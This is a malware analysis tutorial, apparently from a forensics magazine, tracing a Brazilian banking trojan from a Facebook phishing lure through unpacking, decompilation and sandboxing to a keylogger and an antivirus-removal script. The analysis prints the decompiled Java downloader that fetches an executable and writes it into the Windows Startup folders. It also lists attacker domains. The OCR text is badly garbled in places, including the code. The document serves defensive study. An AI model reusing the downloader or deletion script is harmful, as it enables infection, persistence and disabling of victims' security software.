Esta mensagem € destinads exclusivamente a(s) pessoa(s) indicada(s) como destinatariofs), podendo conter informapies confidenciais, protegidas por lei. A transmiss3o incorreta da
mensagem ndo 3careta 3 perds de sua confidencizlidsde. Caso esta mensagem tenha sido recebida por engano, solicitamos gue ssja devolvida 30 remetents & spagada imediataments de
seu sistema. E vedado 3 qualquer pessea usar, revelar, distribuir ou copiar sinda que parcislments 2sta mensagem.

DISCLAIMER

This message is destined exclusively to the intended receiver. It may contain confidential or legally protected information. The incorrect transmission of this messsge does not mean loss
of its confidentislity. |f this message is received by mistake, please send it back to the sender and delete it from your system immediately. |t is forbidden to amy person to use, reveal,
distribute, or copy any part of this message.

Figure 1. Phishing message pretending to be a real message for a Facebook user. “You received a voice comment in your
picture. Listen to it”

When the user click in the button “Listen the commentary”, the user’s browser will be redirected to a
URL containing the first stage of the malicious artefact. This URL has a malicious Java Applet that will
start the download of the payload containing the first part of the APT attack. Let’s download this Java Ap-
plet to analyze its features. After the download process is done, we need to decompile it For this, we will
use a tool named “Java Decompiler”. Java Decompilerm(JD) is amdecompiler for the Java programming
language. JD is provided as a GUI tool as well as in the form of plug-ins for Eclipse (JD-Eclipse) and In-
tellid IDEA (JD-IntelliJ) integrated development environments.

JD supports all versions of Java from 1.1.8 through 1.7.0 as well as Jrockit 90_150, Jikes 1.2.2, Eclipse
Java Compiler and Apache Harmony. You can reach it on http://jd.benow.ca.

Opening the .JAR file using JD, we have its clear text source code and we can analyze its functions
without difficulty.
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package javadownloader;

S|import java.lo.BuliferedInputSTream;
import java.io.BufferedOutputStream;
import java.in. FileMitputStream:
import java.io.IOException;
import java.net.URL;

public class JavaDownloader
{
public static woid main(String[] args)
throws IOException
{
String localFile = System.getProperty("user.home™) + "/Menu Iniciar/Programas/Inicializar”™ + "/Bing.exe";
String localFile2 = System.getProperty("user.home™) + "/appData”™ + "/Roaming/Microaoft/Windows/Start Memu/Programs/Startup”™ + "/Bing.exe”;

BufferedInputStream in — new BufferedInputStream(new UBL ("httpa://dl.dropkox.com/a/ /Bing.exe™) .openStream() )7
FileQutputStream fos = null;
try
o3 = new Fllefutputitream{locallile);
}
catch (Exception e) [

fos = new FileQutputStream({localFile2);

1
)

BufferedOutputStream bout = new BufferedOutputStream(fos, 1024);
Lyle[] dote = new byle[1024];

39 int x = 07

40 while ((x = in.read(data, 0, 1024)) >= 0)

42 bout.write(data, 0, x):
}
44 bout.close();
in.cloac();
1
1

Figure 2. Java Applet decompiled. We can see the malware download features on it

We have the URL hosting the executable, which the Applet will try to deploy in the user’s machine.
The attacker used a Dropbox account to host his malicious executable; this is very common because
using Dropbox he does not need to be bothered about the availability of his malware. A second aspect
is that Dropbox offer the content over a valid HTTPS channel. As you know, no proxy can read infor-
mation that transits through a SSL connection because all the traffic in this channel is encrypted, this
way the content filter and IDS/IPS systems will be bypassed. Third reason, the attacker can create as
many accounts as he desires and use them anonymously.

It is very important to notice that the applet will save the downloaded file directly in the startup folders of
the user’s profile. With this, we have one of the major aspect in this kind of attack, the super persistence.

{
String localFile = System.getProgperty("user.home™) + "/Menu Inici.
23 String localFile2 = System.getProperty(™user.home™) + "

AR T T EI T LI NLY L LT L]

Figure 3. Super persistence applied to the malicious object downloaded

| think that is important to remind you that, from now on, each and every operation must be done in a to-
tally isolated equipment. Since we are dealing with a real threat found “in the wild”, we do not know in fact
what is its behavior and what are the consequences of executing it. It is indispensable to have a virtualized
environment totally segregated or a machine specially prepared for this objective. | recommend you to use
VMware or Virtualbox virtualization systems. One important thing to do is that the network adapter of the
virtual machines used in this lab won’t be connected with the Internet.

There are two major types of analysis that can be made upon a malicious binary. One is the Static
Analysis, where we will analyze the binary totally offline, without any kind of execution, using reverse
engineering, observing binary properties like libraries, doing its disassembly and obtaining information
from the sample in an inert way.

The other is the Dynamic Analysis. On this kind we will execute the binary and observe its behavior

once it is under execution in a controlled environment. We will try to identify many aspects of the sample
while it is changing and infecting the target system.
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For the static analysis, we will use a virtual machine running Windows XP, but stay comfortable to
choose the system of your preference.

STATIC ANALYSIS: THE AUTOPSY OF THE ALIEN CORPSE
Once we have the malicious binary sample, let’s start the process of static analysis, where basically
there are three main stages:

+ Binary Identification
» Unpacking/Decrypt
+ Disassembly/Reverse

At first, we will make a simple trial to identify what kind of binary we are dealing with. Is it an execut-
able, a document or a dlI? We need this knowledge to define the best approach on the next steps in the
analysis. If the sample was obfuscated or encrypted it will be much harder to obtain important informa-
tion without using some reversion methods on it. Identifying and knowing what we are dealing with will
provide us the option to have a better toolkit to execute a most satisfying analysis.

For the initial identification in our sample, we will use PEid. PEID detects most common packers,
cryptors and compilers for PE files and it can currently detect more than 470 different signatures.
It seems that the official website (www.peid.info) has been discontinued. Hence, the tool is no longer
available from the official website but it still hosted on other sites. You can download it from here: http./
www. softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml.

After you unpack the file, you will have a folder tree similar to the one below:

— external.txt
—— PEiD.exe
— plugins=s
— GenCEP.dll
— ImpREC.d11
— kanal.dll
— kanal.htm
—— ZDEx.dl1
— plugin=sdk
— C++
|: defs.h
null.c
— Delphi
L Sample.dpr
—— MASM
compile.bat
masm plugin.asm
masm plugin.def
— FPowerBASIC
L PEiD Plugin.bas
— readme.txt
—— readme.txt
— userdb.txt

Figure 4. PEid directory tree files.

Now you need to update the signature base on the folder. You can use one of the repositories ahead

* http://reverse-engineering-scripts.googlecode.com/files/UserDB.TXT
* http://research.pandasecurity.com/blogs/images/userdb.txt

PEid interface is quite simple, you just need to load the file that will be identified and it will show you
the information about it. Let’s see what PEid can tell about our sample.


http://www.peid.info
http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml
http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml
http://reverse-engineering-scripts.googlecode.com/files/UserDB.TXT
http://research.pandasecurity.com/blogs/images/userdb.txt

TE PEID v0.95

),

///////

=101 |

File:

Entrypeoint: | 00308001

File Offset: |00124E01

Linker Info: | 2.25

| D:'Malware Resource 03 - NEW AMALYSIS\Bing.exe

EP Section: |.aspack
First Bytes: [60,E8,03,00
Subsystem: |Win32 GUI

| ASPack 2.12 -> Alexey Solodovnikov

| Multi Scan I |Task'l.|"|ewer| | Options I | About || Exit I
¥ Stay on top

Figure 5. PEid analysis on binary: ASPack Packer identified.

The software has identified an ASPack Packer signature in our sample.

ASPack is an advanced Win32 executable file compressor, capable to reduce the file size of 32-bit
Windows programs by as much as 70%. (ASPack’s compression ratio improves upon the industry-stan-
dard zip file format by as much as 10-20%.) ASPack makes Windows 2000/XP/Vista/7/8 and Windows
Server 2003/2008/2012 programs and libraries smaller, and decrease load times across networks, and
download times from the Internet; it also protects programs against reverse engineering by non-profes-
sional hackers. Programs compressed with ASPack are self-contained and run exactly as before, with

no runtime performance penalties.

To continue with the analysis we will need to unpack the binary. For this example we can use a tool

called AspackDie. http://unpacking.narod.ru/aspack.html

AspackDie - Info

& File seems to be unpacked successfully.
' Compressor: Aspack 2. 11c/d

Output: D:YMalware Resource03 - MEW AMALYSIS \unpadked ExE

x|

Ok

Figure 6. ASPackDie successfully unpacked the executable

With the unpacked binary, we can go ahead. Let’s see the “unpacked.exe” file that was given by the As-
packDie program and see if there remains any kind of packer. This time let’s use another tool that can

be an option for PEid, the “Exelnfo PE”

www.eForensicsMag.com


http://unpacking.narod.ru/aspack.html

eFOPenS,lcs

a g azine

M Exeinfo PE - ver.0.0.3.4 Beta by ASL - 700sign 2013... — & ks
File : ||Unpacked.ExE.bin H| |R -
Entry Point @ |gogogs3ge oo| |<| EP Section: |CODE vl |==1 | =
File Offset : |000977BC First Bytes : |55.88.EC.83.C¢| | i Plug
Linker Info : | 2,25 SubSystem : |\Windows GUI % About
File Size : | 000AES00R N| Overlay: |NO 00000000 Options
DLL 32bit- Library image RES/OVL:4 [ D % 1992 Exit
Borland Delphi { 2.0 - 7.0 ) 1992 - www.borland.com = -
Lamer Info - Help Hint - Unpadk info ! . g Rip
Mot packed , try disASM OllyDbg - www.ollydbg.de or WD32dsm89.ex | i | =% e

Figure 7. Binary identified as a Borland Delphi generated program. Not Packed

As we can see, our sample was generated using Borland Delphi 7. This is very interesting for
the analysis point of view. When we are doing reverse engineering on any binary it is not possible
to recover 100% of the source code, this occurs because of the operations made by the compiler.
However, Borland Delphi keeps a DFM structure that can be decompiled easily and can help you find
a lot of interesting information.

There are two main tools when facing Delphi generated files. One is DeDe (Delphi Decompiler), the
other is IDR (Interactive Delphi Reconstructor). Both are very easy to use and if you have any experience
with Delphi programming you will receive the most benefit without big trauma.

Delphi Decompiler loads a Delphi program and breaks it down for you, showing all the forms of data
we’ve seen, but also where all the methods are called, the address of all the methods, and the method
names. It also shows a complete decompilation of the binary if we wish, along with capabilities, to modify it.
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Figure 8. The binary opened on DeDe showing the Units and Classes available

We will not going deep into the available features, for this if you want to explore it — be my guest.
Hence we import the executable into the DeDe, let’s export the project so we can visualize directly on
the Delphi IDE



You have to choose the “Export” area, select the destination folder and click on “Create Files”.
Once you finished the export of data, just go to the selected folder and you will see the files ready to be
edited on Borland Delphi:

B cipo 05/03/2014 1655 Delphi Form 2KB
ﬁ cipo 05/03/2014 1655 Delphi Source File 45 KB
|| events 05/03/2014 1655 Documento de Te... 113 KB
| yogurTi.~dpr 05/03/2014 153 Arquive ~DPR 2 KB
|| yogurTi.cfg 05/03/2014 1856 Arquivo CFG 1KB
|| yogurTi.dof 05/03/2014 16:56 Arquive DOF 2 KB
| 4 yogurTi 05/03/2014 16:55 Delphi Project 2 KB
|| yogurTires 05/03/2014 1656 Arquivo RES 1 KB

Figure 9. Output files exported by DeDe.

Just open the yogurTi project file and the resources will be recreated, you will have access to the origi-
nal form, the components used and the properties used in the program, this will help you figure out who
starts, when, how and what each part of the program does at any given momment. Any piece of informa-
tion in this momment can be very usefull.
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File Edd Search View Project Run Componesd Database Tool
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Figure 10. Decompiled Delphi Project edited directly in the Borland IDE

Ahead in the article, | will show the use of the IDR to analyze another Delphi binary. | recommend you
to practice and test the functions and features of DeDe. It is a very nice tool.

Another tool that can help you figure out some binary features is the PeStudio. This is a tool that per-
forms the static investigation of any Windows executable files. It is worth noting, that when analyzed with
PeStudio, files are never started. Unknown Executable files and even Malware can be thus inspected
with no risk. PeStudio runs on any Windows Platform and is fully portable. It has a zero foot print and
does not change the system it is running on.

Among some famous security tools, PeStudio has obtained Rank 4 on the Best 2013 Security Tools.
You can handle a free copy at http://www.wininit.com.
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PeStudio /.27 - Windows Executable Image Analysis - www.winitor.com - O
Execulable Imagpe
},’ cihar liler vy everse enginesringymalware resources nahvare resource¥01 - bojan_banlvad unpadked . exe.bin
nfa

Indicators (55) | 23 (35/16) | Headers | Libraries (10) | Imports (139) | Exports (1) | Resources (53) | Strings (5622) | Misc | Report

Indicators of Trust

Indicator W ry

The image contains J Dlacklisted Strings
Embedded File {Type: Borland Delphi) found (0x00084D6C, Size: 124 bytes)
The image has MO Version

The Image is NOT diglitally signed with a Certificate

The image Impor s 2 Obsolete Symbol(s)

The image imports 19 Bladdisted Functions (APT)

The Section (Name:BSS) ic Empty (zero Byte on the Dick)

1he image has 2 Secbons at the Same file location (Offs

= OD0SC000)

e image original name was “yogurTi.cp
The size (64 Bytec) ot the M5-DOS Header ic etandard
1he zize (20 Bytec) of the Hie Header 1= standard
The size (774 Rytes) of the Optional Header 1= standard
The image has a Manifest
The Entry I"oﬂt (0)&000033BC) isin thc Flr.;t .pcchon (Numc CODE)

4 >

Figure 11. Main indicators of malicious tricks on the binary

PeStudio shows Indicators as a human-friendly result of the analyzed image. Indicators are grouped
into categories according to their severity. Indicators show the potential and the anomalies of the ap-
plication being analyzed. The classifications are based on XML files provided with PeStudio. By editing
the XML file, one can customize the Indicators shown and their severity. Among the indicators, PeStudio
shows when an image is compressed using UPX or MPRESS. PeStudio helps you define the trustwor-
thiness of the application being analyzed.

PeStudio can query Antivirus engines hosted by Virustotal for the file being analyzed. This feature only
sends the MD5 of the file being analyzed. This feature can be switched ON or OFF using an XML file in-
cluded with PeStudio. PeStudio helps you to determine how suspicious the analyzed file is.

PeStudio 7.27 - Windows Fxeculable lmage Analysis - www.winilor.com - B
Executable Image
},’ c:\artilery\reverse engineering'malware resources \mahware recource|01 - trojan_banloadunpadied. exe.bin
nfa

Indicators (55) | W3 (35/46) | lleaders | Libraries (10) | Imparts (133) | Cxports (1) | Resources (53) | Strings (5622) | Misc | Report

VirusTulal Score Resulls

Fngne Rezult llate &
KT AntiVires Rigkware 20130307

Agnitum Trajan.ChePro! JrUCwdzCI 20130307

F-#nnt raill ANE0E0

Eymantec WE.Reputation. 1 20130308

Narman suspicious_enS. 1 PXE A1150307

TotalDefense rwull 20130307

TrendMicro-HouseCall mull 20130308

Avast Win32:Mahvare-gen 20130308

esafe raull 20130307

ClamAv rwll 20130308

Kaspersky Trojan.Win32.ChePru.awy 20130307

BitDetender Gen:Variant Barys. 3545 20130308

NANO-Anlivirus Trwian. Win3z.Bar ys.bauejo 20130308

SUPERANtSpyware maull 20130308

Dytel lero ruull 20130304

saphos MalHanlnad-aH FURERE

Comodo UndassifiedMalware 20130300

F-5Pouare en:Vanant. Harys. 3546 ATH0E0R

DrWeb Trojan.Siggen1.60433 20130308

VIFRE Trojan.Win32.Generic!BT 20130308 ~
R T Arar an 4 nnn 5

Figure 12. PeStudio automatically check for the sample in VirusTotal Website
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PeStudio is also capable to detect and proceed to a RAW handling of the digital certificates (when
available) embedded in an image. The interaction with the Certificates does not use any Windows API.
Using PeStudio you can even Dump the content of the Certificate to a file.

A section that | always pay a little attention to, is the “Strings” sections. Strings are generally human-
readable parts of the binary code, that you can find very useful information, like Paths, Usernames, hard-
coded passwords etc.

PeSludio 7.27 - Winduws Execulable Inaye Analysis - www.winilor.oom == n

Excwulabile Image
‘ﬁ _* r\arfileryreverse enginesringimalware resnurces\malware resoorce Y1 - trojan_hanknady mpacked_sve hin
nfa

Indicators (54) ﬂ (39/96) | Headers | Libranes (10) | Imports (139) | Exports (1) | Hesources (53) | Sbings (5622) msc | Report

strings found
action:Offeat Bladdicted =+  Type Cize Value A
JDE:0x00096702 fake aadii 5 Uh_vI
NF:MNMNAES 16 fake aAsci 5 Hht
ODE:0x000060532 false asdi 5 Uh*
JDE:Ox000969A5 =3 asi 3 UhiMyl
JDE:0x000968F8 false asdil 5 UnBylL
ODE:0x00096C45  fake ascii 5 Uh;
INF: D NMMEFFR fake A 5 Hh&[r
JDE:Dx00005F33 falsc ol 52 30D90338FATIEBSFS 1B57FED 75F66BD61696B117B26...
JDE:0x00097151 [abse st i3 Yo Mo, exe
JDE:0x00097 16A false asdil 12 ‘orgtaia.exe
ODE:0x00097181 false asdii 13 \libmysgl.dll
INF: NN 7194 fake Asril 57 NN34F5 1507 FCFRGA40AFOF SANRAATRI TR TTARR 140 ..
JDE: 000007109 falsc sl i3 ‘resolver.cxe
ODE:0x00097 1F2 =5 asti 32 1EC771AA4SCFEDAB-BFF21C 37 3F0GDEASAB2ZADZIAE. ..
JDE:0x00097231 false asdi 12 ‘arquivo. txt
DDE:0x00097243 fakse asdil 2 0F2AD178B965924DF62C0F27D812
N DN 727 fake asci 16 AFACSARRAARRSFNIGA
JDE:0x00087299 falee asdi 5 Error
ODE:0x00057AS2 liatbs: i 9 Runlime erior gl 00000000 v
o P —— . Aamnars TR anenee 5

Figure 13. Strings denouncing that the executable writes some files on the disk

Here we can see some indicators that the binary accesses or writes files on the infected host. This can
indicate that this binary is a staged downloader and its main job is to deploy the real malicious payload
inside the infected machine. One of the best way to obtain the dropped files and analyze them are by us-
ing a Dynamic Analysis methodology.

DYNAMIC ANALYSIS: WATCHING THE MONSTER IN THE JAIL

Dynamic Analysis consist of observing the behavior of the application during the runtime. Different from
the static analysis in that we can observe the sample without executing it, in dynamic analysis we will set
an ambient that can simulate the real world, applying some restrictions and using software that can track
everything that happen inside this little jail. We will try to see the sample executing and acting like it was
in real life, so we can learn from its behavior, learn what files it modifies, creates or deletes, if it contacts
external hosts, if it tries to send or download information data and using the results of this observation
generate the best mitigation plan. The Dynamic Analysis are very good but can have few limitations.

Some malware creators uses some protections in their executables to detect if the malware are running
in a real machine or if it is inside a sandbox or virtual machine specially crafted to analyze it, so taking this
assumption in mind you must understand that if the sample just exits, some protection must be applied.

For this type of analysis, we can use a variety of open sources frameworks and standalone programs.
For this specific example, we will use the ZeroWine Tryouts Framework. It is a virtual machine environment
created using QEMU and containing the necessary tools to generate an analysis in the sample without any
risk to your network. You just have to download it, start and submit the sample. It is one of the easiest and
quickest start frameworks existing today. For this, let us start the dynamic analysis on it. First, you have to
download the package containing Qemu+Zerowine Tryouts. http.//zerowine-tryout.sourceforge.net.
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Unpack the files and start the start_img.bat file to initiate the ZeroWine virtual machine. It will configure
a local redirection for the local port 8000/tcp and 2022/tcp for you access the Linux. 8000/tcp will be the
access on the web interface used to generate the analysis and download the results and 2022/tcp for
access directly on SSH console.
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Figure 14. Just execute the start_img.bat file to start the Zerowine virtual machine

L QEMU -
Loading kernel modules...[ 189.8596711 loop: module loaded

.fsck 1.41.3 (1Z2-0ct-Z2888)

Setting kernel variables (retcs/sysctl.conf)...done.
ounting local filesystems...done.

fictivating swapfile swap...done.

Setting up networking. ...

onfiguring network interfaces...done.

Setting console screen modes and fonts.

INIT: Entering runlevel: 2

Starting system log daemon....

Gtarting kernel log daemon....

Btarting system message bus: dbus.

[Starting OpenB3D Secure Shell server: sshdl 119.1889341 NET: Registered protoco
1 family 18

[ 119.1852871 lo: Disabled Privacy Extensions

[Starting the Winbind daemon: winbind.
Btarting periodic command scheduler: crond.

Starting ZeroWine malware analysis tool

Debian GNU-Linux 5.8 zerowine ttyl

Ferowine login:

Figure 15. Since the Linux VM has started, just access http://127.0.0.1:8000
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Since you executed the batch file all you have to do is wait for the Linux VM to completely load itself
and the web interface will be available to initiate the analysis of our file.

Point your browser to the address http://localhost:8000 and you will arrive to the landing page.
There you can choose the Windows template used for the analysis, for this specific case, we will use
Windows 7 SP1 template.

You can setup the Timeout value; | recommend using 90 seconds and inputting the value for the mem-
ory drop at 30 seconds.

- oW
e @ hitp://127.0.0.1:0000 P - C| @121.001 3 &
Zero Wine Tryouts: A Malware Analysis Tool
Upload | View | Download | Search
Upload a sample
Select the cample file to upload and the options to analyze it.
Sample file (e.g. EXE file, DLL file, DDF file) Procurar...
Tags (separate with comma)
Liaie : : . : Windows 7 SP1
Additional files (zip archive tile) Windows 2008 R2 SP1 Frocurar
Dynamic analyecis timeout at Windows 2008 SP2 cconds
Windows Vista SP2
Dump process MEemoIry at Windaues 2003 P2 econds
Set Windows wversicn to Windows XP SP3
Unpack sample file t;::ggx:aogﬂ =P
Redefinir | Enviar Consulta Windows 98 SE
Windows 95
Windows is a registered trademark of Microsoft Corp. in the ::::g::::i ﬁ-:- 1218‘?3: untries.
Windows 3.1
Windows 3.0
Copyright (o) 2008, 2009 Joxean Rorat [Windows 20
o

Figure 16. Landing page on ZeroWine web interface. Choose the Template and submit the file

Once you submit the analysis, just sit back and wait. Zerowine will do the entire job and just give you
the result. It will take a little time depending on your gear power. If you have enough ram to improve the
value in the start_img.bat parameter you will have the result complete earlier. When it is over you can
check the View page and download the analysis result.

For any analysis generated on Zerowine, you will have:

» The original file name (even if modified many times, there is a metadata originated on the compila-
tion of the file)

* The calculation of most common identification hashes (md5, sha, rc4)

+ It will tell you if the sample tried to use some identification trick to know that it is been executed in-
side a secure environment.

* And the report containing the behavioral analysis, the file headers, file strings and the signatures of
identified files
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Sample analysis result

binfvi £ ~ & || @127.00

Original rile name: ComentarioDevoz.cpl.bin

File size: 714240 bytes

Tags: banleoad, eforensics

MDS: caf811b33141517069%acafe25d269416

SHA-1: 198d9%céaSae%Zebcaaealb329%bacl8S5c4f123f1

SHA-224: c908k02bdd0e69%04914abe97£1393£53chbedddfS207£1de39407c532

SHR-256: bc3342¢2afe523d5092a£2230a1e3825Tb1b41cb8cle2610261b4ach52d3L552

SHA-384: 3fb0478110a368bfe8554b7£f1ed2b2841e£f5fbbbalaldl1£fe2d48857e9%bc8736b6569c439d028c7286cd%Tbelack
SHAR-512:
b14358dc8eddf3£23a£41558130ab379222045468c5feb8582fcel1a583bT40£££225a82T7278945785257417bat487d4642b14kE

General information:

¢ ReportEﬂ File headers.  File strings.s Signatures ? Differences

Dumps :

No dumps

Debugger detection tricks:

No known detection tricks foun v

< >

Figure 17. View of analysis result

)| @ http://127.00.1:8000/cqi-bin/vi O ~ © || @ 127.00.1

e:RtlGetFullPathName U (L"C:\\Program Files\\Internet Explorer\\iexplore.exe" 520 0x33f862 (nil)
version.GetFileVersionInfoSizeW (0033£862 L"C:\\Program Files\\Internet Explorer‘\iexplore.exe",0033fabc) ret=7T./
I HERNELAZ . LZOpenk1lew (0033THAZ LTC\\PFrogram F1lead\Internet Exploreri\viexplore exe®, D033thde, 00DOOOD0) rer=Tek
le:LZ0penFilel (C:\Program Files\Internet Explorer\iexplore.exe,0x33£&dc,0)

: penFile C:\Program Files\Internet Explorer\iexplore.exe OF READ OF SHARE COMPAT
Trace: f‘l OpenFile C:\Program Files\Internet Explorer‘iexplore.exe 0000

: RtlGetFullPathName U (L"C:\\Program Files\\Internet Explorer\‘iexplore.exe"™ 520 0x33£314 (nil)
le:RtlDosPathNameToNtTathName_U (L"C:\\Program Files\‘\Internct Explorer%\iexplore.cxe",0x33£250, (nil}, (nil))
1 LlGetFullPathName U (L"C:\\Pruygram Files\\IniLernelL Explorer\\iexplore.exe™ 520 0x33L014 (nil))
trace:fi1leswine nt tn unix t1le name L™ 2N \WPragram Files\\Internset Explorer\\iexplare.exe” => "/home/malwars/. wine
Files/Internet Explorer/iexplore.exe®
trace:file:RtlGetFullPathName U (L"C:\\Frogram Files\‘\Internet Explorer\‘\iexplore.exe™ 520 0x33£314 (mil))
trace penFi1le found "I:\\Pragram Files\\Internet Exploreril\iexplnre.exen
trace:file: lopen {"C:Y\\Program Files\\Internet Explorer\iexplore.exe", DVOO}
trace:fileiCreaveFileW L"C:\\Program Files\\Internet Explorer’\‘\icxplore.exe™ GENWERIC READ FILE SHARE READ FILE SHARE WRI
trace:rile:RtlDosPathNameToNTPathName U (L"C:\\Program Files\\Internet Explorer‘\lexplore.exe",0x33I180,(nil), (nil))
trace:file:RtlGetFullPathName U (L"C: \\P:cgran Files\\Internet Explorer\‘\iexplore.exe"™ 520 0x33f1f£4 (nil))
trace:ntdll:FILE CreatcFile handle-0x33£488 acccoa—80000000 namc=L™\4 ?2\\C i1\ \Program Filca‘\\Internct Explorer\\icxplorc.
(nil) sec=(nil) iv=0x331478 alluc size=(nil) aLLr=00000080 sharing=00000003 disp=1 uvplions=00000030 ea=(nil).0x00000000
trace:f1lezwine nt tn unix _file mame L™\ PNC:\\WProgram Files\\Internet Explorer’\\iexploare exe" => "/hnme/malware/.wine
Files/Internet Explorer/iexplore.exaem
trace:file:CreateFileW returning 0x480
trace:ntdll:Ntfueryintarmationfile [(0xd4H, OxIZTHIH, OXIITAT0, Ox0D000DZH, OxDO000008)
le:0penFile (C:\Program Files\Internet Explorer\iexplore.exe): 0K, return = 0x48
trace:Eile:LZ2Init (72}
trace:ntdll:NctSecInformacionFile (0x48,0x33rf4c8,0x3314c0,0x00000008&,0X0000000e
trace:file:HeadFile Ox4¥ Ox33fSte 14 Ox3IILLI0 (nal)
trace:ntdll:HtReadFile (0x48, (nil), (nil), (nil),O0x33£f4e8, 0x33f55¢, 020000000, (nil), (nil) )} ,partial atub!
trace:ntdll:NtReadFile = SUCCE. i14)
rrace:ntdll:NCSerInformationFile (0Ox48, Ox33T508, 0XIZITS00, OXO0O00008, 0XOO00000e
11 FERMNEL32.LISeek(0000004%8,00000000,00000000) ret=7e559a30
le:LZSeck (72,0,0)
nEAll:NCSerTnformationFile (Ox48, 0%33
:Call FEBRMEL32.LZRead (00000048,0033£668,
lc:LZRead (72,0x33£668, 61)
Lrace:;LileiReadFile Ox48 0x33[668 64 Ox33I550 (nil)
trace:ntdll:NtHeadFile (0x4%, (nil), (nil), (nil),Ux33L508, Ux33t66Y, 000000040, (R1l), (n1l) ), partial stub! v
aface:ntdll:KtReadFile = SUCCESS (64!

&, 0X33TS00, 000000008, 0x00000008
00000040) ret=7e559a56&

Figure 18. Section “report” of the analysis. Here we can see the behavioral analysis of binary

Diving into the result of behavioral analysis you will find that the original file created two new binaries
in the hard disk, they are “overflow.exe” and “resolver.exe”. Now that we have these new files let’s check
what these files are really doing once they have been deployed.

DROPPED FILE 1 - OVERFLOW.EXE

Once we have these new files, we can go ahead and do the same process we did before here.
You will see that Overflow.exe is not packed and is a Delphi binary. For the dynamic analysis of this file,
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we will use Cuckoo Sandbox. There is an online version of the framework you could use at no cost and
submit some samples for analysis. You can check the analysis of the overflow.exe sample: https:/malwr.
com/analysis/OWE2Y2I10GYyNzM2NGY5MmJhODASNDRiYTFhNWQS5ZDA/.

The first thing you observe when the analysis finishes is the triggered signatures. These signatures are
scripts that parse all the static/dynamic analysis result and then check the existence of some patterns.
Once the pattern is located and match with the signature it is added to the final report. There are signa-
tures for the most common behaviors. For the Overflow.exe file we can see some of them:

Signatures

Steals private information from local Internet browsers
Figure 19. Signatures triggered by the Cuckoo on Static Analysis

We can see that the overflow.exe file once executed creates a local socket listening to any address
on the host. The secondary signature tell us that this file is identified by at least one antivirus in the Vi-
rusTotal engine as malicious. This means that someone else already has submitted the file for VirusTotal
analysis and maybe it has been detected by some antivirus systems. Some important signature say that
is performs some http requests, this requests can be used to download files, to upload information gath-
ered or just to notify the hacker that our machine was compromised. Last but not least, signature shows
that the sample steals information from local internet browsers. This means that the malicious software
may be searching for some authentication cookies, saved history credentials and much more. You can
check the Behavioral Result to see what registry keys it is accessing. For this example, we can see some
hosts that the binary are contacting:

Table 1. Table of domains reached by the binary

DOMAIN P

dl.dropbox.com 107.22.212.163
www.download.windowsupdate.com 23.62.99.27
dl.dropboxusercontent.com 50.19.80.165
vulcanoempresasvl.hospedagemdesites.ws 187.45.240.50

If you set up a Wireshark on a virtual machine host and then execute the sample, you will see ex-
actly what this binary is requesting. Since the majority of the urls used by the sample are currently of-
fline, | just could check one of them, and found something interesting that | will show you in few pages
ahead. Let’s try to understand what overflow.exe is exactly trying to do to our lab.

When we check the behavioral analysis of this binary we are lead to see the parameters used by
the program:

www.eForensicsMag.com € »



eFOPenS,lcs

a g azine

EditTab3 ItaReyPress
EditCod0lEeyPress
EditTab4 ItaReyPress
EditCod02EeyPress
EditHum{(11EeyPress
EditNum(22FeyPress
EditHum{(33EeyPress
EditHum{44EeyPress
EditHum{55EeyPress
EditHum{l66EeyPress
EditHum(7 TEeyPress
EditHum{(E8EEeyPress
EditNum)99KeyPress
EditTab2 ItaReyPress
EditHum{(1EeyPress
EditHum{(2EeyPress
EditHum{(3EeyPress
EditHum{(4EeyPress
EditHum{(5EeyPress
EditHum{&6EeyPress
EditHum(7EeyPress

Figure 20. Events triggered on the binary for each key press on the keyboard.

For each key press executed on the machine, an event will be triggered in the binary, this is a common
behavior of Keylogger and Screenlogger. We are most probably dealing with a keylogger created to steal
bank information on your machine. When the signature says the sample are stealing information about
the internet browser, we can found this actions on the registry activity.

2014-03-06 19.39.50.256 RegOpenkKeyExA SUCLESS Ox00000000
2014-03-06 19.39.50,256 RegOpenkKeyExA SUCLESS 0x00000000
(=3
=] i crosoft\Wi
n rentVersion
Internet Settings
2014-03-06 19.39.50,256 RegQueryValueExA Handle. 0x000000£0 sUCLESS 0x00000000

Data: 1

ValueName

EnableHttpl 1

Figure 21. Registry activity displaying the query of values of Internet Browser configuration

Let’s check the overflow.exe binary using the IDR (Interactive Delphi Reconstructor) since it is also a
Delphi binary program. Just open the file and it will export all the units, classes and Forms used in the
application. Once it finished the process you can check the Forms tab, it will show you all the available
Forms in the application, even the Hidden one. The overflow.exe seems to be a kind of command cen-
ter for the attacker because we can see many database connectors, socket plugins that can attach the
application to other external hosts, and we can see many Database queries in the strings of the file.
This way we can figure out that this application is the main resource of data manipulation and parsing
them all to an external database.
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Figure 22. All available units and classes on the program. We can see some DB queries on strings

better safe than sorry
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Figure 23. Main form on the application displaying many connectors to external database

This program will be added to the startup of the user and will be loaded every time you log in into
your computer. So now we know that this guy is really malicious and is stealing our information. As |
said before only one URL was available to access, the url is vulcanoempresasv1.hospedagemdesites.
ws. Since the sample made a request to it, | become curious to see if | can find something else on this
address. | will save the best for the end.

Let’s see the other file created by the downloader, “resolver.exe”

DROPPED FILE 2 - RESOLVER.EXE

When | checked this file, | noticed that it had been sent many times to VirusTotal, and the md5 checksum
of it shows me that this is not a new fresh binary, but an existing tool that the malware creator indexed
inside his toolkit. When | executed it on one of my Virtual Machines, | noticed the following on my screen:

The Avenger, (c) by Swandogdd. The Avenger is a kernel-level Windows driver

designed to remove highly persistent malicious software, Every attempt has beenmade |
to ensure its safety, but it is provided with no warranty whatsoeyer and its safety

cannot be 100% guaranteed! Please use only under qualified supervision, By clicking

Ok below, vou agree that in using this program vou do so at wour own risk, Click QK ta
continue or Cancel to quit,

Cancel

}r;f Sl‘a.rf E The &venaer, () by ...

Figure 24. The Avenger malware removal toolkit



The Avenger is a fully scriptable, kernel-level Windows driver designed to remove highly persistent
files, registry keys/values, and other drivers protected by entrenched malware. It is effective at removing
malware that is hooked deeply into the operating system itself, which is often difficult for standard tools.

The Avenger is a VERY POWERFUL program, and can easily be misused.

Well, it is not that hard to presume that this tool is not here to just remove a malware presence.
Once this is highly scriptable just check one txt file dropped by overflow.exe

Folders to delete:

%ProgramFiles¥\AVG

%ProgramFiles%\Panda Security

#ProgramfFiles®\ESET

%ProgramFiles%\KASPER~1

#ProgramFiles¥\Avira

#ProgramfFiles®\Softwin

